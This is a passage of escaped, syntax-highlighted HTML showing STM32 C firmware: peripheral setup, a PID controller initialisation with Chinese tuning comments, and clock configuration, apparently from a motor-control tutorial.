class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// define pid struct\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// the buf for screen usart\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief System Clock Configuration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Supply configuration update enable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_PWREx_ConfigSupply\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_LDO_SUPPLY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Configure the main internal regulator output voltage\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_PWR_VOLTAGESCALING_CONFIG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_REGULATOR_VOLTAGE_SCALE3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nf\"\u003e__HAL_PWR_GET_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_FLAG_VOSRDY\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the RCC Oscillators according to the specified parameters\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the RCC_OscInitTypeDef structure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOscillatorType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OSCILLATORTYPE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSIState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSI_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSICalibrationValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSICALIBRATION_DEFAULT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL_ON\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLLSOURCE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLM\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLQ\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLR\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLRGE\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCIRANGE_3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLVCOSEL\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCOMEDIUM\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLFRACN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3072\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_OscConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan 